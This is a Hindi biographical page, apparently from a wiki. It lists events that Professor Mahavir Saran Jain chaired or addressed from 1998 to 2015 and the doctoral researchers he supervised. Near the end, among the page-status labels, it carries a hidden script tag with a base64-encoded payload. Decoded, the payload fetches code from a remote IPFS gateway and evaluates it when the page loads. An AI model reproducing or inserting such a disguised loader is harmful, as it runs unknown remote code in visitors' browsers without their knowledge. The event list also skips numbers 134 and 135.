गुवाहटी केन्द्र द्वारा संचालित नवीकरण पाठ्यक्रम का समापन समारोह (12.10.98) 97. अध्यक्ष: कर्नाटक कॉलेज धारवाड़ में प्रयोजनमूलक हिन्दी उच्च नवीकरण कार्यक्रम का उद्घाटन समारोह (28.10.98) 98. मुख्य अतिथि: भारतीय विद्या भवन, आगरा का वार्षिक समारोह (24.12.98) 99. विशिष्ट अतिथिः श्री प्रताप दीक्षित अभिनन्दन समारोह, आगरा (24.12.98) 100. मुख्य अतिथि: रानी दुर्गावती विश्वविद्यालय, जबलपुर में प्रयोजनमूलक हिन्दी के पुनश्चर्या पाठ्यक्रम का समापन समारोह (06.01.1999) 101. अध्यक्ष: हैदराबाद केन्द्र द्वारा आयोजित सह-सम्पर्क पत्राचार पाठ्यक्रम का समापन समारोह (16.01.99) 102. अध्यक्ष: संस्थान के गुवाहाटी केन्द्र में ‘पूर्वोत्तर भारत में हिन्दी साहित्य’ शीर्षक संगोष्ठी का समापन सत्र (14.03.99) 103. अध्यक्षः के0हि0सं0, आगरा में ‘भारतीय भाषाओं में प्रयुक्त सहायक क्रियाऐं’ विषयक संगोष्ठी का उद्घाटन समारोह तथा समापन समारोह (18 एवं 19 मार्च, 1999) 104. मुख्य अतिथि: सूर स्मारक मण्डल द्वारा आयोजित महाकवि सूरदास की जयन्ती के उपलक्ष्य में सूर साहित्य समारोह, आगरा (20.04.99) 105. अध्यक्षः संस्थान के दिल्ली केन्द्र द्वारा आयोजित विदेशी छात्रों का सत्रांत समारोह (29.05.99) 106. अध्यक्ष: कनार्टक विश्वविद्यालय के अध्यापकों के लिए उच्च नवीकरण कार्यक्रम का समापन समारोह, धारवाड़ (12.06.99) 107. अध्यक्ष: संस्थान के मैसूर केन्द्र द्वारा आयोजित केरल हिन्दी प्रचार सभा, तिरुवनंतपुरम में केन्द्रीय विद्यालयों के हिन्दी अध्यापकों के लिए नवीकरण कार्यक्रम का समापन समारोह (15.07.99) 108. अध्यक्ष: हिन्दी में सूचना संसाधित उपकरण विषयक राष्ट्रीय संगोष्ठी का समापन समारोह, आगरा (30.09.99) 109. विशिष्ट अतिथि: आगरा विश्वविद्यालय में डॉ0 हीरालाल जैन जन्मशती समारोह (15.01.2000) 110. अध्यक्ष: लघु उद्योग सेवा संस्थान, आगरा द्वारा आयोजित स्वर्ण जयन्ती वर्ष के उपलक्ष्य में राजभाषा सम्मेलन, आगरा (4.02.2000) 111. मुख्य अतिथि: हिन्दुस्तान पेट्रोलियम कार्पोरेशन लि0 द्वारा आयेाजित उत्तरी अंचल के हिन्दी समन्वयकों का सम्मेलन (23.03.2000) 112. अध्यक्ष: संस्थान के दिल्ली केन्द्र द्वारा आयोजित विदेशी छात्रों का सत्रांत समारोह (25.04.2000) 113. अध्यक्ष: सूर स्मारक मण्डल, आगरा द्वारा आयोजित सूर साहित्य समारोह (7.05.2000) 114. अध्यक्ष: के0हि0सं0 आगरा का सत्रान्त समारोह (15.05.2000) 115. विमोचन एवं लोकार्पण: कवि राजबहादुर सिंह की काव्य-कृति’ ‘दोहा मणिमाल’ का लोकार्पण समारोह, आगरा (08.07.2000) 116. अध्यक्ष: के0हिं0 सं0 के दिल्ली केन्द्र द्वारा आयोजित विदेशी छात्रों के पाठ्यक्रम का सत्रारम्भ समारोह (07.09.2000) 117. अध्यक्ष: हिन्दी विश्व कोश को इण्टरनेट पर उपलब्ध कराने हेतु निर्मित सी0डी0 का लोकार्पण समारोह, नई दिल्ली (14.09.2000) 118. मुख्य अतिथि: ‘समय चक्र आगरा’ ग्रन्थ का लोकार्पण समारोह, आगरा (17.09.2000) 119. मुख्य अतिथि: केन्द्रीय बकरी अनुसंधान संस्थान द्वारा आयोजित हिन्दी दिवस पखवाड़ा का समापन समारोह, मखदूम (आगरा) (28.09.2000) 120. अध्यक्ष: कौमी काउन्सिल बराए फरोग़़-ए-उर्दू-ज़बान, नई दिल्ली द्वारा आयोजित प्रेमचन्द विषयक संगोष्ठी का दूसरा सत्र-‘हिन्दुस्तानी ज़बान और प्रेमचन्द्र, नई दिल्ली (08.10.2000) 121. विमोचन एवं लोकार्पण: प्रोफेसर हीरा लाल जैन जन्म शती पर आगरा वि0वि0 द्वारा प्रकाशित ‘रचना-पुनर्रचना’ का लोकार्पण, आगरा (30.11.2000) 122. अध्यक्ष: हिन्दी में भारतीय साहित्य उद्धरणकोश निर्मित करने हेतु कार्य गोष्ठी का उद्घाटन समारोह, के0हि0 सं0, आगरा (31.01.2001) 123. संरक्षक एवं प्रमुख वक्ता: आचार्य कुल का राष्ट्रीय अधिवेशन, आगरा (23.02.2001) 124. अध्यक्ष: डॉ0 देवकीनन्दन शर्मा प्रणीत ‘आधुनिक हिन्दी कविता: स्वरूप और संरचना’ तथा ‘कभी फूल कभी शूल’ का लोकार्पण-उत्सव, गुलावठी (2.11.2001) 125. मुख्य व्याख्यान: मान कुंवर बाई स्नातकोत्तर महाविद्यालय, जबलपुर की प्रसार व्याख्यान माला के अतर्गत ‘भाषा विज्ञान’ विषय पर व्याख्यान, जबलपुर (08.01.2002) 126. मुख्य अतिथि: केनरा बैंक, बुलन्दशहर द्वारा आयोजित केन महोत्सव, बुलन्दशहर (23.11.2002) 127. अध्यक्ष: ‘संत कबीर: आधुनिक संदर्भ’ विषय पर केन्द्रीय हिन्दी संस्थान, आगरा द्वारा आयोजित राष्ट्रीय संगोष्ठी का समापन समारोह (16.02.2003) 128. अध्यक्ष: अखिल विश्व गायत्री परिवार, हरिद्वार के तत्वावधान में आयोजित भारतीय संस्कृति ज्ञान परीक्षा का पुरस्कार वितरण समारोह, बुलन्दशहर (13.03.2003) 129. उद्घाटन एवं मुख्य व्याख्यान: विश्व हिन्दी न्यास का तृतीय वार्षिक अधिवेशन, फ्रीमाण्ट, केलिफोर्निया, संयुक्त राज्य अमेरिका (3.10.2003) 130. उद्घाटन एवं मुख्य व्याख्यान: प्रगति मंच-विचार एवं साहित्य, बुलन्दशहर (23.11.2003) 131. अध्यक्ष: आज के भारत में गांधी की प्रासंगिकता विषयक विचार गोष्ठी, बुलन्दशहर (02.10.2004) 132. त्रिदिवसीय व्याख्यान - प्रोफेसर डॉ0 उदय नारायण तिवारी स्मृतिव्याख्यानमाला: महात्मा गांधी अन्तरराष्ट्रीय विश्वविद्यालय, वर्धा (21-23 सितम्बर, 2005) 133. मुख्य अतिथि: वैद्य गंगा प्रसाद शर्मा स्मृति अभिव्यक्ति कौशल प्रतियोगिता , हिन्दी साहित्य परिषद् , बुलन्दशहर (02. 10. 2005) 136. मुख्य अतिथि: डी 0 ए 0 वी 0 स्नातकोत्तर महाविद्यालय , बुलन्दशहर द्वारा आयोजित महोत्सव ( 05. 10. 2005) 137. मुख्य अतिथि: अन्तर्यात्रा: श्री कांति भाई पटेल के निबंधों के संकलन ग्रन्थ का लोकार्पण समारोह, आगरा (18.10.2006) 138. प्रघान अतिथि एवं मुख्य व्याख्यान: जैन घर्म का प्राचीन और अर्वाचीन स्वरूप: श्री जैन रत्न हितैषी श्रावक संध , कोलकाता (29. 4. 2007) 139. विशिष्ट अतिथि एवं मुख्य वक्ता: उत्तर प्रदेश में उच्च शिक्षा की गुणवत्ता: पं० गंगाघर शास्त्री जी की प्रतिमा का अनावरण समारोह एवं विचार संगोष्ठी, आगरा कॉलेज, आगरा (16. 11. 2007) 140. मुख्य अतिथि: डी 0 ए 0 वी 0 स्नातकोत्तर महाविद्यालय , बुलन्दशहर द्वारा आयोजित राम धारी सिंह “ दिनकर ” शताब्दी वर्ष विचार संगोष्ठी महोत्सव ( 20. 09. 2008) 141. मुख्य अतिथि: वैद्य गंगा प्रसाद शर्मा स्मृति अभिव्यक्ति कौशल प्रतियोगिता , हिन्दी साहित्य परिषद् , बुलन्दशहर (02. 10. 2008) 142. मुख्य अतिथि एवं मुख्य वक्ताः “शुभम साहित्य, कला एवं संस्कृति संस्थान, गुलावठी (बुलन्द शहर)” द्वारा आयोजित “कालजयी साहित्यकार भवानी प्रसाद मिश्र का जन्मशती समारोह”

   (05. 01. 2013)

143. मुख्य अतिथि एवं मुख्य वक्ताः स्वामी विवेकानंद सुभारती विश्वविद्यालय, मेरठ द्वारा आयोजित स्वरतंत्रता दिवस समारोह (15 अगस्त, 2013) 144. मुख्य अतिथि एवं मुख्य वक्ताः वैद्य गंगा प्रसाद शर्मा स्मृति अभिव्यक्ति कौशल प्रतियोगिता , हिन्दी साहित्य परिषद् , बुलन्दशहर (02. 10. 2013) 145.मुख्य अतिथि एवं बीज भाषण, राष्ट्रीय संगोष्ठी (विषय – राजभाषा हिन्दी के विविध आयाम), केरल हिन्दी प्रचार सभा, तिरुवनन्तपुरम (07 जनवरी, 2015) 146. उद्घाटन भाषण, समापन सत्र, राष्ट्रीय संगोष्ठी (विषय – राजभाषा हिन्दी के विविध आयाम), केरल हिन्दी प्रचार सभा, तिरुवनन्तपुरम (08 जनवरी, 2015) 147. आचार्य तुलसी स्मारक व्याख्यान, पंजाबी यूनिवर्सिटी, पटियाला, पंजाब (02 मार्च, 2015)

[शोध निर्देशनः]

उन शोधकर्ताओं के नाम एवं उनके शोध प्रबन्धों के शीर्षक जिनको प्रोफेसर महावीर सरन जैन के निर्देशन में रानी दुर्गावती विश्वविद्यालय से डी0लिट् एवं पी-एच0डी0 की उपाधियाँ प्राप्त हुई हैं।

(क) डी0लिट् उपाधि प्राप्त करने वाले शोधकर्ताओं के नाम एवं उनके शोध प्रबन्धों के शीर्षक

1. डॉ0 जी0 गोपीनाथन - हिन्दी और मलयालम के परस्पर अनुवाद की भाषावैज्ञानिक समस्याएँ

2. डॉ0 नज़ीर मुहम्मद - संत साहित्य का अभिव्यंजनापरक अध्ययन

3. डॉ0 श्यामा कान्त द्विवेदी - मध्ययुगीन हिन्दी निर्गुण-भक्ति साहित्य की दार्शनिक विवेचना

4. डॉ0 राजा राम सोनी छायावादोत्तर हिन्दी काव्य

(ख) पी-एच0 डी0 उपाधि प्राप्त करने वाले शोधकर्ताओं के नाम एवं उनके शोध प्रबन्धों के शीर्षक

5. डॉ0 रामलखन गुप्ता अवधी एवं कन्नौजी के संक्रान्ति क्षेत्र की बोलियों का संकालिक अध्ययन

6. डॉ0 पुष्पा भूरा सूर सागर में वर्णित अन्तर्कथायें :

7. डॉ0 कुन्तल गोयल नृतत्व एवं समाजशास्त्र के आधार पर छत्तीसगढ़ के लोकगीतों का अध्ययन

8. डॉ0 किरण जैन रीतिकालीन हिन्दी जैन काव्य

9. डॉ0 मोतीलाल चतुर्वेदी रेल विभाग में प्रयुक्त प्रशासनिक हिन्दी का शब्दकोषीय एवं व्याकरणिक अध्ययन


10. डॉ0 श्यामाकान्त द्विवेदी नाथ संत सम्प्रदाय पर योगतन्त्र के प्रभाव

11. डॉ0 रामभोट्ला वीरभद्रराव हिन्दी नाटकों में हास्य एवं व्यंग्य योजना

12. डॉ0 विष्णु प्रसाद नेमा - कृपालुदास और उनका काव्य 13. डॉ0 त्रिभुवननाथ शुक्ल रामचरित मानस के शब्दों का अर्थ-तात्त्विक अध्ययन

14. डॉ0 उमा शंकर तिवारी पन्त की काव्य भाषा का अध्ययन

15. डॉ0 रामायणप्रसाद गर्ग अवधी एवं बघेली बोलियों के संक्रान्ति-क्षेत्र का संकालिक अध्ययन




पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ


बाहरी कड़ियाँ

संबंधित लेख